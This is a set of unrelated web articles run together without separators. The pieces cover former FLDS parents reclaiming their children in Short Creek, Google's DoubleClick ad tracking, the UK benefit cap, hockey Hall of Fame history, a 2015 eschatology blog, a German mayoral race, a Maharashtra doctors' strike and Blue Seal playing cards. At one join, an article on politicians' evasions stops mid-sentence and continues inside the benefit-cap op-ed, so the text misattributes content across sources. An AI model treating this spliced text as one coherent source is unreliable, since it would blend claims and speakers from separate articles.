Black is not alone in asking that question. He represents a growing demographic: former FLDS parents who have returned to Short Creek to try to wrest their children away from the church, often with the help of lawyer Roger Hoole, who prepares and serves the legal documents and contacts helpful law enforcement.
The prophet who giveth may take away. But some of the people he taketh away from aren’t putting up with it anymore, another sign of cracks in what had been, for more than half a century, an impenetrable and opaque world. With its leaders in legal trouble, population booming in the nearby metro area, and former exiles returning, Short Creek is secularizing, and the FLDS hold over the town is loosening at last.
George Frey
The Blacks’ former religion is a controversial offshoot of Mormonism, or the Church of Jesus Christ of Latter-day Saints (LDS). The mainline Mormon Church officially espoused polygamy in 1843. Its founder, Joseph Smith, married as many as 40 wives, according to Mormon leaders. His successor, Brigham Young, took 55 wives. But their fellow citizens in the American East and Midwest had strong objections to their polygamous and quasi-theocratic communities — towns like Nauvoo, Illinois, a place not all that dissimilar to Short Creek.
So, like unhappy misfits since America’s founding, the Mormons headed West. In the 1840s, Young led around 70,000 settlers to the Utah Territory’s Great Basin. It was the perfect spot: bounded on the east by the wall of Wasatch Mountains, sitting next to the huge but useless Great Salt Lake — and, at that time, beyond the reach of United States law.
Polygamy went unpunished until the Utah Territory was acquired from Mexico in the Treaty of Guadalupe Hidalgo in 1848. U.S. leadership attempted to rein in the Mormons and separate the church and the soon-to-be state. For a while, polygamy survived, and church leaders dispatched the faithful to set up polygamous outposts across the West, including in Short Creek. But then came the Edmunds-Tucker Act of 1887, which prohibited polygamy, disincorporated the LDS church, and allowed the government to confiscate its assets.
Three years later, citing nothing less than the will of the Lord, then-prophet Wilford Woodruff declared that the LDS church would abandon the practice.
Many Latter-day Saints saw this declaration as terrestrially, not celestially, motivated. And in the far-flung settlements across the West, men continued to marry multiple women. Short Creek, in particular, became a known “safe space” for polygamy. Like Salt Lake City, it had both natural and manmade protections. It straddled the Utah-Arizona state line, complicating law enforcement. The Vermillion Cliffs rose on one side, and the Grand Canyon fell 40 miles away on the other. No one would bother them here.
Short Creek’s polygamy-practicing members were excommunicated from the official LDS church in the 1930s, and the area took on its own religious identity, which later became the more official FLDS church.
And for a long time, life was, if not idyllic, at least less Orwellian than it is now. I spoke to former members who remember their childhoods fondly, and think of Short Creek past as a pleasant place. In those days, church members could watch movies, ride bicycles and hold public festivals, without the constant threat of excommunication. Problems existed, of course, especially for women, who were still married off at young ages and had little control over their lives. Children worked long days to support the church and its businesses.
For the most part, until the past decade or so, the federal government let the FLDS live undisturbed in the Arizona Triangle. Turning a blind eye, living and letting live — choose your own cliché to describe its lack of response. But there have been notable exceptions. In 1953, for example, the Arizona National Guard raided Short Creek, arresting 36 men and taking 86 women and 263 children into state custody. It took up to two years for some of the men to be released on probation, after they promised to give up polygamy — a promise they swiftly reneged on.
It’s an incident that looms large in FLDS culture, a documented historical event that justifies the sense of persecution. In local Cottonwood Park this June, I came across a rock memorial to the event. Carved like a formal commandment into it are the words: “We must never forget how the Lord blessed us in restoring our families taken in the 53 raid.”
But in ’53, the threat to FLDS families came from outsiders. Now it comes from insiders — some of them among the innermost.
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Trouble truly began when a prophet named Rulon Jeffs began to age, in the late 1990s. As Rulon’s health declined, one of his sons, Warren, started to siphon power away. In 2002, when his father died, Warren Jeffs assumed the presidency. Children and women were church-owned property, to move around whenever he wanted. That had always been true to some extent, but Warren Jeffs was the first to fully flex the muscles just beneath the skin of the hierarchy.
He began marrying adult men to underage girls. His flight from prosecution landed him on the FBI’s Most Wanted list in late 2005. The authorities caught him in 2006 and jailed him for 10 years to life in 2007, but the Utah Supreme Court overturned the conviction in 2010. The next year, though, he was sentenced to life plus 20 years for two counts of sexual assault on minors.
During his tenure, Jeffs, with the help of on-the-ground leadership, banned toys and pets; televisions and internet access; any interaction with outsiders. Dishrags sat on shelves in the communal storehouse. After Warren Jeffs’ sentencing, his brother, Lyle, continued his policies. The Jeffs brothers could pluck a woman from her husband and force her into another relationship, seemingly at random. They could send the children to a different house entirely. They could excommunicate either or both parents, and send the kids to a caretaker. They exiled boys who might be marital competition and sent away business-owners to minimize their influence.
Kristyn Decker, who grew up in a parallel polygamous sect called the Apostolic United Brethren, says she doesn’t know of a single intact family. Decker, who founded the Sound Choices Coalition, also assists Holding Out HELP, the organization that helped the Blacks find refuge. She believes that the crisscrossing of kin — and the constant anxiety of wondering who will be next, and when — furthered one of Warren Jeffs’ goals: Everyone’s strongest attachment would have to be to him. “He’s ripping people’s hearts apart,” she says. “People are getting to the point, even the elderly people, where they can’t love someone.”
Hoole estimates that the Jeffses have excommunicated hundreds of people. While census-style data are not available, local organizer Terrill Musser estimates that between 1,000 and 1,400 FLDS members remain — way down from the heyday of 10,000. Many have left or been forced out, while others have moved to a new headquarters in Texas. Musser says between 100 and 200 of the excommunicated people have returned to Short Creek.
But Jeffs’ grip is loosening. He’s in jail, after all, and the leadership of the church is uncertain. He issues decrees, but so does Lyle Jeffs. Members of the church — and people who are excommunicated but still faithful — may hear about the crimes of those in charge and feel the leadership vacuum. Warren Jeffs has said he was never a prophet; he has also said he is absolutely in charge. And now Lyle Jeffs is on the lam, and Nephi Jeffs is the new bishop. The Short Creek residents I spoke to said they did not know how to reach church leaders, who are largely jailed or in hiding and who are, in any case, forbidden to speak to infidels from outside like me.
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The FLDS faithful are also now surrounded by former members, who are now considered apostates. The state of Utah took over the church’s financial arm, the United Effort Plan Trust, in 2005. In 2014, the state-run trust began returning houses to the exiles that had built them, but that they had been evicted from. But that means kicking faithful FLDS members out of the houses in which they’ve been living, forcing them out of the area they’ve called home for generations. “You have one group of people that might be celebrating the changes in the town,” says Christine Marie Katas, one of the few non-FLDS people that FLDS members will talk to, “and you have another group of people that are in a state of psychological crisis because they believed this was their religious heritage.”
That demographic shift has begun to secularize Short Creek and opened it to outside influence even as its geographic isolation is ending. Nearby St. George is the fifth fastest-growing city in the nation, drawing retirees and sun-lovers who don’t adhere to even mainstream Mormonism. More mountain bikers are riding the trails on Gooseberry Mesa, just north of Hildale. And Zion National Park, a mere 10 miles or so from Short Creek, has become so popular that officials are considering creating a cap on the number of visitors. A town that was once on a road to nowhere is now on a highway with REI-recommended destinations.
Visitors are rarely harassed as they once were. In the two visits I’ve made, I have experienced none of the harassment — stalking by church security or hostility at local businesses — described in earlier accounts like Under the Banner of Heaven and Prophet’s Prey. When I arrived in town on a May trip and needed a sandwich, the gentile-owned local Subway gladly obliged. And in June, while I was waiting for an interview, I took a hike up Maxwell Canyon. A group of girls in prairie dresses — current FLDS members — were getting water from pumps near the trailhead. They shyly walked up to me, played with my dog, and asked where I was from and if I thought it was pretty here. I watched a group of truck-driving men silently tow a tourist’s stuck car out of a ditch, and I saw a long-sleeved boy ride a bicycle down the street.
There is talk of a new grocery store. Last year, the town held its first public festivals since Jeffs banned them. The old church storehouse is now a public high school.
Federal intervention has also forced Short Creek to be friendlier to outsiders. In March 2016, a federal jury ruled that the town discriminated against non-FLDS members, denying them basic services like utility hook-ups and building permits. In December 2016 closing court arguments, the Justice Department said that the local police force should be disbanded, suggesting the Mohave County Sheriff’s Office could soon take over local law enforcement entirely. In April, though, the judge ruled against that, instead requiring revised procedures and an independent mentor. “It takes a long time to build up the trust with the victims for them to feel safe enough to come to outside agencies for help,” says Buster Johnson, a Mohave County supervisor. “This should have happened years ago, but government agencies have protected the abusers in Colorado City.”
On top of all this, an ongoing federal fraud case alleges that 11 top leaders, including Lyle Jeffs, ordered church members to apply for food stamps, which were then relinquished to the church. With the eyes of so many judicial agencies on the FLDS, the era of “live and let live” seems to have died.
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But the growing influence of the outside world has pushed some members, as well as the leaders who control them, to double down, according to Musser, who left the FLDS when he was 18 and returned to his Short Creek house last year. If there’s anything that binds together a religious group, it’s a persecution narrative. It was true in 1840s mainline Mormonism; it’s true in the 2010s fundamentalist offshoot.
Black knew that his still-faithful adult son, Sheldon Jr., was currently caring for the children Black had had with his now-excommunicated first wife, Angela. He did not want his children raised in the FLDS culture. Parentless kids, forbidden to attend public school, are sometimes sent to work, says longtime Short Creek activist and former FLDS member Andrew Chatwin. He has photos of children welding at New Era Manufacturing Inc., which machines components for the aerospace and medical industries, and of girls driving around at midday, sitting four across in the front seats of delivery trucks. As he and I drove around town in June, we passed just such a crew, stopped in front of us at an intersection. The Department of Labor has multiple ongoing investigations against the church for child labor, according to regional director Juan Rodriguez.
Sometimes, leaders send the “orphaned” kids to “houses of hiding” scattered across the American West, Canada, and Central and South America, in a network detailed in a Department of Justice fraud investigation. The FLDS have also set up more outposts, like the Yearning for Zion ranch in Eldorado, Texas; a colony in Bountiful, British Columbia; and, most recently, one in Pringle, South Dakota. But the Texas site has already been raided by federal authorities and is now in the crosshairs of the Department of Labor, and the residents of Pringle are not quiet in their concerns about the newcomers. Starting a secluded town in the 21st century is even harder than keeping a once-secluded town cloistered in the face of creeping secularism.
Black knew that girls are sometimes trafficked between compounds for sex. Today, intercourse is only allowed between about 15 high-ranking “seed bearers” and whichever FLDS women (or girls) they choose, according to custody hearing documents filed by Lyle Jeffs’ estranged wife Charlene. Black didn’t want a “seed bearer” choosing his daughters. So he went back to Short Creek to rescue them.
When people like Black want to reunite with their children, they talk to Hoole. “My work has been basically to respond to parents who come to me and say, ‘You know what, I’ve woken up. I’ve got to get my kids out of there,’ ” he says.
That may be straightforward legally — petitioning for custody if one parent actually lives with the children, simply exercising existing custody rights if both parents are out of the church. But it’s not that easy in practice: The still-loyal parent will “fight like crazy,” says Hoole, to keep the kids away. Caretakers will resist. In Short Creek, local law enforcement may not cooperate. And the kids are rarely still living where the parent left them. Sometimes, they’re in the houses of hiding; other times, they’re behind the 10-foot walls that buttress faithful FLDS houses. Returnees catch glimpses of their family members in cars, the drivers’ identities hinting at where their offspring now live. Sometimes they find out their family’s location by accident, as returnee Art Blackwell did. He went to tune a neighbor’s piano and heard his kids’ voices drifting through the slats in the fence. He couldn’t see them, or speak to them. But he stood outside their fortress for an hour, just listening.
Hoole first has to find the kids and figure out how to contact them; then he has to find the appropriate law enforcement and serve the legal papers. “And then we swoop in and try to get those kids,” he says. Invariably, though, church members try to stop them.
When Black was ready, he asked the Mohave County Sheriff’s Department and sympathetic local friends to accompany him to his old house. His knock went unanswered, so he walked in, thinking no one was home. But he found his daughters standing in the kitchen. They froze, silent and still and white.
Out of an interior room walked his son, their caretaker. When Black told him he was here to get the girls, Sheldon Jr. produced the church’s custody papers. The sheriff pointed out that a parent had a legal right to his children.
Black’s children, though, no longer wanted him. They had been told that he was evil, an apostate from their faith. “Look who’s breaking up the family now,” his son said.
“I started to feel wicked,” confesses Black. He wondered, “Am I hurting these people who have been so programmed against us?”
He put the girls in his car and drove away anyway.
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The church keeps an emotional clamp on the excommunicated — both disaffected ones like Black and those who are still enmeshed in the faith. But after the revelation of their leaders’ criminal practices, after they talk to other apostates, after they see the outside world isn’t so bad, most of them start to see the Jeffses in a new light. The online world is perhaps the best abettor of apostasy.
“If they get on the internet, for example, which is a no-no, and start looking at what’s happening,” says Hoole, “then they start having the pieces of the puzzle come together, and a lot of them will realize, ‘My heavens, I’ve left my children in that mess, and they’re being trained by somebody else for who knows what, and I’ve got to get them back.’ ”
They come to understand that their children belong with them and that the custody they supposedly signed away is actually still theirs.
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“Once you start reading, it’s like a flood,” Art Barlow told me in June, as he paused his landscaping work at the town’s new dentist’s office. A year before, newly exiled, he still believed it all. Then, click by click, his faith washed away. He had returned to his Hildale house six months earlier, hoping to make it a nice place for the two youngest of his 17 children, who are still minors. He plans to go find them soon.
But the church’s continuing influence strains relations between parents and returned children. Parents feel like they are saving their kids from labor, forced marriage and mind control. Unfortunately, they often find out that their children don’t want to be saved.
When Black brought the kids home, things went smoothly for a little while. Then his daughters started getting phone calls from the FLDS. One daughter said they’d been told to fight for their rights. The other said, “Just fight.”
The girls put a picture of Warren Jeffs on the wall, “I LOVE YOU” scrawled on it. Black worried they would try to convert his and Cindy’s kids — who now understood that movies weren’t magic and who wore the kind of clothes that had once scandalized them — to “Warrenism.”
The new girls started pulling increasingly malicious pranks — raisins in their father’s bed, cat food in his shoes.
“All they wanted was to come back here,” he says, referring to Short Creek. “I just got so tired.”
One morning, Black and Cindy woke up to find that the girls were gone.
The FBI soon tracked them down. They had returned to Sheldon Jr.’s house, so Black decided to try to take them back — again.
But after the FLDS got word of Black’s plans, they had his daughters call Angela, the girls’ sent-away mother, to say they had nowhere to stay. Soon, the Arizona police called to let Black know the children were in Angela’s custody. She had just as much right to them as he did — unless he was willing to press charges against a family member.
“This is somebody you’ve been married to for 30 years, and now she’s your enemy,” Black says. He adds that Lyle Jeffs, not Angela, is the person he’d like to charge with a crime.
So Black let the girls go. And after he retreated, the FLDS snatched the girls from Angela and sent them back to Hildale. Black is now there, too, and he moved from his shop back into his house in December 2016. He knows his daughters are nearby, but no matter how close he gets, there is always something between them — a fence, a relative, the God he gave them.
Deprogramming a child is possible. It just takes time. Adults — with their fully developed frontal lobes — often take years to slide from sincere belief to doubt. So it makes sense that the children who have grown up with the Jeffses’ authority, all the edicts and absolutes, who have never known anything but this town, would have trouble adapting to life in the outside world.
Give them time, and let them get used to freedom, says former FLDS member Lawrence Barlow. In the two years between when his daughters moved back in with him and when we spoke last summer, the kids have settled in to their new world.
They still wear their prairie dresses to school, but that’s fine, says Barlow. He wants them to feel how they feel, to do what they want, to make their own choices. He wants to give them what their religion could not.
“They’ve found out it’s OK for them to just be,” he says.
George Frey
Note: This article has been updated to correct the profession of Kristyn Decker, who founded the Sound Choices Coalition.
Sarah Scoles is a freelance writer living in Denver, Colorado. Her first book, Making Contact, comes out in July.
This story was funded with reader donations to the High Country News Research Fund.So, Google is now using your surf history to tailor online ads to your particular online interests. It's a rather creepy thought, but that's not the problem. The problem is that Google won't say how much of your surf history it's capturing - or how long it plans on keeping this potentially ginormous data hoard.
When Google announced its "interest-based advertising" program on March 11, it said the program would target ads on YouTube and the many third-party sites in its AdSense network. And with a new FAQ, Google mentions that these ads would be targeted using data collected via cookie technology fashioned by DoubleClick, the online ad giant it acquired last year.
What's still unclear is whether Google is collecting your surfing habits across AdSense pages as well as sites that serve ads via DoubleClick's ad management platform. Presumably, it is. It appears that both AdSense and DoubleClick sites are using compatible tracking cookies.
We've asked Google (several times) to clarify the situation, but it has yet to provide an unambiguous answer. "The Google content network (AdSense partners) and DoubleClick ad management platforms have not been combined," reads a carefully worded statement from a company spokeswoman. "The Google content network uses the DoubleClick cookie to serve interest-based ads on the Google content network."
What's more, even when it comes to AdSense sites, Google's has yet to say what exactly it's collecting when you visit a site or how long that data will be kept. Presumably, it's grabbing your IP address, your browser user agent, and a time stamp as well as a specific url. DoubleClick has collected such data for years.
The concern is that Google is gradually expanding the already vast array of data it stores on each individual web surfer - data it could be coughed up after a Google hack or the arrival of a subpoena or national security letter. DoubleClick's ad serving technology is collecting surf data across third-party sites. It now appears that Google is combining this with data harvested on AdSense. And if the company ever sees fit, it could easily fold in the data collected on its juggernaut of a search engine.
According to the latest numbers from Attributor, AdSense and DoubleClick are by far the most dominant (non-search) ad platforms on the web. Together, they control 57 per cent of the market. Even if you combine Microsoft and Yahoo! - which Microsoft's chief executive Steve Ballmer once tried to do - they would reach only 15 per cent.
And in search, Google shows even more muscle, ruling more than 60 per cent of the market, according to comScore.
Google will tell you it doesn't collect any "personally identifiable information." But it refuses to acknowledge that an IP address is enough for personally identification - particularly when its paired with countless urls and time stamps.
As longtime Google Watcher Daniel Brandt points out, it would seem that Google is already collecting your surf history across both AdSense and DoubleClick. Using a network protocol analyzer, Brandt has noticed that if you visit DoubleClick site like, say, MSNBC.com and it places a DoubleClick ad cookie on your machine, that same cookie is offered up to the server when you visit an AdSense site. And vice versa.
We choose MSNBC only because it's slightly amusing to note that Microsoft is using Google ad technology.
The AdSense DoubleClick cookie does use a different prefix in the ID field than the DoubleClick DoubleClick cookie, but otherwise, the two seem identical. When we ask Google whether it's pooling data from both networks, it does not respond.
But surely, to question whether Google is collecting user data across both systems is merely questioning the obvious. "The doubleclick.net cookie is served up by your browser for both the so-called DoubleClick network that does not use AdSense, as well as the AdSense that everyone is talking about," Brandt tells us.
"They'd be crazy to harvest data from AdSense only, but not the old DoubleClick. It would take them twice as long to build up their database of user interests."
But the bigger question is what's in that database of interests - and how long it's kept. Again, Google is mum on the matter. But that's the norm.
In September, Google told the World it was "going to anonymize" its search logs after only nine months - down from the current 18. But half a year later, Google has yet to say whether thus plan has actually be put in place. And even when this nine month anonymization plan does arrive, it won't actually anonymize after nine months.
Google does let you opt out of its DoubleClick cookie. But government regulators must determine whether this cookie should be opt-in only. At the very least, Google should provide the facts needed to make an informed decision. ®It’s a truism that most politicians do not answer questions properly – but the techniques they employ in their evasions are surprisingly varied, and harder to achieve than they seem
Politicians don’t answer questions: this is so long established, so easily observed, so universal, that the intricacies of Peter Bull’s research into the subject [pdf download] seem almost decorative, like devising 35 typologies for the Pope’s Catholicism. And yet the York University psychologist, who specialises in micro-analyses of interpersonal communication, has a series of insights, some very broad, some very precise and relating to Theresa May, that have crystallised the process, driven home its necessity, and elaborated its mechanisms so precisely as to have more or less destroyed my faith in public life.
First, Bull details why politicians evade giving direct answers |
fraction of cases – if it impacts on anyone at all. The Benefit Cap for single people has been pure spin, designed to give the impression that people on benefits were receiving more than they actually are. However should this cap be reduced, in line with George’s Osborne’s recent fantasies, then the impact would be huge in those areas swamped by economic refugees.
It is no secret that a very small minority of claimants face significant difficulties in their lives, such as a serious criminal history, or addiction to drugs or alcohol. Many of these people are single claimants in the private sector where rents are soaring. Others are socially housed and vulnerable to eviction due to the bedroom tax or other cuts to benefits. Eviction from social housing in London will now often mean exportation to private sector housing in the North.
Imagine for a second every chaotic heroin addict or street drinker in the South of England, every unemployed convicted violent offender or every family like the Philpotts, turning up in Northern cities after being socially cleansed from the South.
At present these people are dispersed, albeit in already poor areas, throughout the UK. As London and the South East seeks to eradicate poverty by eradicating the poor, the intention is that all of affluent England’s expensive social problems will be exported elsewhere. One of the richest cities in the world is about to get even richer at the expense of everywhere else.
For the poorest in London the cap will be devastating as lives are destroyed and communities have their hearts ripped out. But anyone who doesn’t live in London, and thinks this cap is a good idea, should really think through the consequences of what they are supporting. Some of the biggest losers due to the benefit cap will be Council Tax payers in places like Margate and Southend. If the cap is reduced even further, and those forced to move to outer London towns have to move yet again, then the costs to the North of England, Scotland and Wales will be astronomical.
The benefit cap is one of the biggest confidence tricks the rich have recently played so it is hardly surprising it has been built on a string of lies. Only a handful of families were actually living in Chelsea mansions – and in most cases these families were homeless and in emergency temporary accommodation awaiting rehousing. Housing Benefit is available to those in work, meaning any hard working family could have moved to London, claimed for help with their rent and been better off than those on benefits. The Housing Benefits caps have not brought down rents as promised – with demand for private rented property soaring the opposite has happened. And no matter what the Government claims, there is no evidence that anyone has got a job due to the caps which have already been introduced.
Long term unemployment is at a 17 year high. Iain Duncan Smith’s changes to the benefits systems are undoubtedly hurting, but they aren’t working.
Benefits were already capped, at just £71.70 a week for somebody unemployed over the age of 25. Housing benefits simply lined the pockets of the grasping landlords and buy-to-let speculators who caused the increasing benefit bill. The people the cap affects will not have any less money in their hands due to the Benefit Cap. They just won’t have anywhere to live anymore.
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AdvertisementsThe very first use of the term 'Hall of Fame' came about in 1900 with the creation of the Hall of Fame for Great Americans, part of the original New York University. The movement to create other halls of fame dedicated to various disciplines accelerated in the 1930's. On June 12, 1939, Judge Kenesaw Mountain Landis, commissioner of Major League Baseball, announced, "I now declare the National Baseball Museum and the Baseball Hall of Fame in Cooperstown, New York - home of baseball open!" Fifteen thousand baseball fans applauded furiously and jostled each other to be among the first to step through the doors of the newly-opened baseball shrine. Such a momentous occasion prompted a thought amongst hockey people: why shouldn't we have a similar hall of fame for our sport?!? The idea resonated, with former hockey great 'Cyclone' Taylor, who was one of the more vocal proponents for such an institution. The first references to a "mythical hockey hall of fame" were published in December 1940 by the Montreal Gazette. On April 17, 1941, the Canadian Amateur Hockey Association (CAHA), accepting a motion made by Captain James T. Sutherland, appointed a three-man committee to study the origins of the game of hockey. Sutherland, residing in Kingston, Ontario, had played hockey with the Athletic Club of Kingston in the first officially recognized hockey league. In 1910, after forming the Kingston Frontenacs, a junior team that was part of the Ontario Hockey Association, he was appointed a district representative for the league, and rose through the executive ranks to the role of president by 1915, a position he held for three years. During that same time, Captain Sutherland served as president of the Canadian Amateur Hockey Association. Among his many accomplishments was the establishment of the Memorial Cup, a trophy honouring those men who gave their lives during the first Great War and emblematic of the junior hockey championship of Canada. Through his entire hockey life, Captain Sutherland claimed that Kingston was the birthplace of hockey. "Historians are said to differ considerably on the place in which the great Caesar first saw the 'light of day,' and similarly in respect to the birthplace of Canada's national winter sport, hockey," stated Sutherland. "There may be some who still claim sundry and diverse places as being the authentic spot or locality. Whatever measure of merit the claim of other places may have, I think it is generally admitted and has been substantially proven on many former occasions that the actual birthplace of organized hockey is the city of Kingston, in the year 1888." Although Sutherland had the year wrong (it was 1886), he based his claim on a game played between Queen's University and the Royal Military College at Dix's Rink, on the harbour in front of Kingston's municipal buildings. In the early 1940's, Sutherland was a driving force behind the establishment of a hall of fame for hockey. The Montreal Gazette reported on April 25, 1941, that a movement had begun "started by Fred Corcoran to have something similar for hockey now that baseball and golf have their own hall of fame." That November, the idea had garnered enough interest that Leo Dandurand, owner of the Montreal Canadiens between 1921 and 1935, and a key sporting figure in Montreal, discussed the idea of a hall of fame with the National Hockey League.Are we witnessing the start of a new era on the eschatological timeline? What brings this hypothesis to the table? It is the fact that on 23rd of September 2015, three important dates converged. They were Yom Kippur in the Hebrew Calendar, Yaum Arafat of the Islamic calendar and Autumn Equinox, which is an important date in paganism. It is interestingly a day of reflection in all three religions.
The calendars used by all three religions are different. It should be noted that Islamic calendar has remained a purely lunar calendar since its inception. The Hebrew calendar is a lunisolar calendar that has gone through a process of evolution and has changed over time. In the Hebrew calendar a leap month is added every second or third year order to align it with the Gregorian calendar. What is more remarkable is the fact that this Yom Kippur is from a Jubilee year. The jubilee year occurs every after 49 years. On an entirely separate note it has to be added that the autumn equinox is an important day because the length of the day equals the length of the night across the whole world.
Have important Hebrew dates collided with Islamic dates before? Yes. When the prophet Mohammad PBUH arrived in Madinah, he observed the Jews celebrating the day which at the time equated to the 10th of Muharram (First month of the Islamic Calendar). On enquiry, the prophet was told that it was the day on which God had delivered Children of Israel from the enemy and Moses (PBUH) used to keep a fast on this day as an expression of gratitude. Hearing this prophet Mohammad (PBUH) replied “Moses has a greater claim upon me than you.” He fasted that day and instructed his followers to do the same. He went further and prescribed two days of fasting instead of just one. Other traditions record that on this day the Ark of Noah (PBUH) finally landed. The Arabs even in the pre-Islamic days observed it as a sacred day.
It should be noted that during this year (2015) the Passover- which in the modern era is marked in the Hebrew calendar as the day of exodus – was observed on Friday, April the 3rd, 2015. On the other hand the 10th of Muharram in the Islamic calendar will be on the 14th of October. This clearly indicates that the Hebrew calendar has departed from the Islamic calendar but every now and then the important dates do collide. In fact this departure of days has also been recorded in the Quran which ordains the number of months to be twelve in an year. The Quran further emphasizes that the practice of adding a leap month is wrong. (Chapter 9: 36-37). As the Islamic calendar cycles through the seasons, once in almost four decades, there is a possibility of its dates coinciding with important Hebrew dates.
On another note the astronomical phenomenon commonly known as the “blood moon” will be observed on the early hours of the 26th September. It is the red lunar eclipse that occurs four consecutive times over a period of two years (aka. Tetrad). This phenomenon was purely of astronomical interest to the hobbyists, until the publication of the book “Four Blood Moons: Something is about to change”, which added a new dimension to it. The author, Pastor John Hagee argues that “Every times the Tetrad has happened in the last 500 years, it has coincided with tragedy followed up by triumph for Jewish people”. The events that have been linked by the pastor include the discovery of America, Holocaust, and formation of Israel, six-day war and the recapture of Jerusalem.
So if the phenomenon of Tetrad is added to the conflation of the important dates, astronomers will tell you that this coincidence is unlikely even over a period of millennia if not more.
Sheikh Imran Hosein has pointed out through his deep study of eschatology that the modern era can be called to the “era of the week” as mentioned in a hadeeth. The “Era of the week” is a metaphor that was used by the prophet Mohammad (PBUH) to identify the time when events of significant impact will accelerate in their occurrence compared to the “era of the month” which will precede it.
What can we conclude from these coincidences?
The tragedy on 24th September at the Hajj saw over 700 pilgrims losing their lives in the immediate aftermath of this alignment. This indeed was a significant event that will affect thousands.
So have we crossed the Rubicon to the “era of the days”? The short answer is only God Almighty knows and only time and hindsight will tell.
On our part each sign and each significant event should compel us for inner reflection and not distraction. We must remain aware of the higher power and this will in turn keep us in touch with ourselves.
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P.S. Convergence Stride is one year old (As per Islamic Calendar) and we would like to thank the stride community for taking this website forward.In Sunday’s mayoral election in Saarlouis, Germany, the Pirate candidate ended up with 3.2 % of the votes, losing to the incumbent mayor.
The Pirate candidate was Thomas Brockmann, 50, a freelance journalist who was seeking to bring more transparency and citizen participation to Saarlouis. Brockmann also suggested city projects for the citizens, such as a public swimming pool.
Due to low funds, Brockmann’s campaign was much smaller than those of his opponents, costing about €1,000 in total. In comparison, Christian democrat candidate Marion Jost’s campaign cost €15,000, while incumbent mayor, social democrat Roland Henz spent €25,000.
Mayoral elections in Saarlouis have seen declining turnouts since the 1980’s, which the incumbent mayor acknowledged in a post earlier this week, in which he encouraged citizens to vote. At the Saarland state elections earlier this year (at which the Pirate Party gained four seats), only 61 % voted. The turnout at Sunday’s elections was a mere 43 % according to SR Online.
Featured image is CC BY Piratenpartei Deutschland.In a latest development to the Maharashtra resident doctors' strike, the Bombay High Court on Thursday asked the agitating doctors to resume duties and urged them give some time to the government to provide them proper security.
The court asked the state government to provide security to doctors at the government hospitals so they can work without any fear. The HC will hear matter after 15 days.
Bombay HC chief justice said in the order that no punitive action should be taken against protesting doctors once they resume their duties.
Earlier, the Maharashtra Association of Resident Doctors (MARD) had filed an affidavit in the court saying they're ready to join duty but want safety from government and administration.
Meanwhile, Maharashtra Chief Minister Devendra Fadnavis on Thursday requested the agitating doctors to withdraw their strike immediately.
The court could not hear the matter on junior doctors' mass leave on Wednesday because of unavailability of the CJ's bench.
Earlier the court had ine one of the hearing said that the protests might result in contempt of court as the doctors' association had in 2016 given an undertaking that it would not go on strike.
For the fourth consecutive day on Thursday, over 3,000 resident doctors continued their mass casual leave protesting against growing incidents of attacks by patients' relatives on them.
Medical services in 17 government hospitals in Maharashtra, including four in Mumbai, were severely affected because of the strike.
Thousands of patients have been deprived of medical care in the wake of the protest across the state.I want to start off by saying that this is not a complete guide to Blue Seal playing cards or the entire history of them. This is my knowledge and the knowledge of my fellow card collectors and magicians that have helped me bring this information to you. With over a decade of card handling, and having used thousands of decks with dozens of different finishes and stocks, let me try to explain the mystery that is the Blue Seal.
A Long, Long Time Ago…
So, where to start? How ’bout at the beginning of what might be considered the first Blue Seal, the overall design of which is still used today. In the 1965, the United States Playing Card Company (USPCC) decided to no longer use tax stamps to seal their cards, but instead used a ‘postage’-looking stamp to seal their decks. You might have seen some decks on eBay that have these seals with the bumpy edges, blue background, and a white spade. Sometime in the 80’s is when they progressed into the rounded square seal that is used today.
Some of you might be thinking “WTF? I thought Blue Seals where just a thing in the mid 2000’s that everyone used?”
Fun fact! The Blue Seal has been a part of USPCC cards for a good 70-80 years. But the modern day cards are what kids these days are after: the Blue Seal Tally’s or ARRCO’s (U.S. Reg.), or really any deck from ’95 and up. Not a lot of people nowadays care for the feel of cards from the ‘80s and back, so let’s just focus on the last 15 years, starting in the 2000s and the cards of choice being Bikes, Tally’s and ARRCO’s.
Fallen Legends
Let me be clear about this next bit: there have been literally hundreds of thousands of Blue Seal cards made since the year 2000. And because of that, those were the cards of choice by magicians and flourishers. Not because they were the new hotness, but because they were cheap and available. They are the modern day equivalent of Tahoe’s: a deck that was used and gaffed for magicians, by magicians in the ‘60s.
No one really thought that Tahoe’s would stop being produced back then… until they did. No one stockpiled cards, as you could get them anywhere. This is what happened to the Blue Seal line of cards.
Although, I would say that the mid 2000’s is when kids (the newer magicians and flourishers) really started to hoard cards (I know I did.) This was around the time custom playing cards started to really pick up, and a market was there for it. A newer mentality of “The amount of cards you have = how cool you are/sick of a collection you have” started to emerge, vs the older school of thought of “Just use your damn cards!”
So what do I say to the claim that Blue Seal cards are rare? I think I will call bullshit — or at least, some bullshit. Rarity implies that there are not a lot left. But when cards are made in that high of a quantity for that amount of time, there are going to be stockpiles of them in warehouses and stores all over the world. However, that doesn’t mean that they are available to the public to get, creating another kind of ‘rarity’: one that affects us all.
I personally think the real reason that they are ‘rare’/hard-to-find is because they have an artificial value to them now. You can sell a single deck of Blue Seal Tally’s for $20! If I had a stash of them and found out that they had value like that, I would sell them and trickle them out into the market. It’s a simple rule of economics: supply and demand.
Quality Over Quantity?
Let’s move on to the whole ‘Blue Seal quality’ part. Back before the USPCC moved to Erlanger, KY, and Blue Seal cards were the norm, we still complained about the quality at the time: the cut being off, rough edges, and misprints. It’s funny looking back at it, actually.
The ‘Last of the Blue Seals’ ended in the beginning of 2009, as the USPCC switched to using black-colored seals, a couple of months before they moved to Kentucky and switched to the new box that we all just love. ಠ_ಠ (Check out Bicycle 807 decks!)
Did something really happen to the quality when the USPCC switched to KY? YES. Holy sweet Jesus fuck did everything fall to shit. Try to find a 2009 Tally-Ho made in KY. Just try to find a sealed one and open it. It feels like cheap, disgusting, China-made cards. You would think they were knock-off Tally’s, they are that bad.
So what happened? From my knowledge, and the collective knowledge of other card enthusiasts, one of the main problems was new equipment. When the USPCC moved, the old printing presses and other machines were sold and not transferred to the new factory. With them being sold, they had a contract tied to the whole deal: that the old machines would never be used to print playing cards again.
In addition, another issue was the stock and finish that was used. The USPCC used to have a pretty decent stock, and I don’t know if suppliers got switched or if different trees were used for the pulp, but stock quality dropped once they moved. The card’s edges split easier during shuffles, they didn’t have durability to them, and they lacked that clean, snappy feel to them.
People say that Blue Seal cards feel thicker and last longer than the lower quality Black Seals, so I did what any curious person would do: measure that shit!
3 most commonly used USPCC decks:
Blue Seal Bikes:.28mm
Black Seal Bikes:.28mm
Blue Seal Bees:.29mm
Black Seal Bees:.29mm
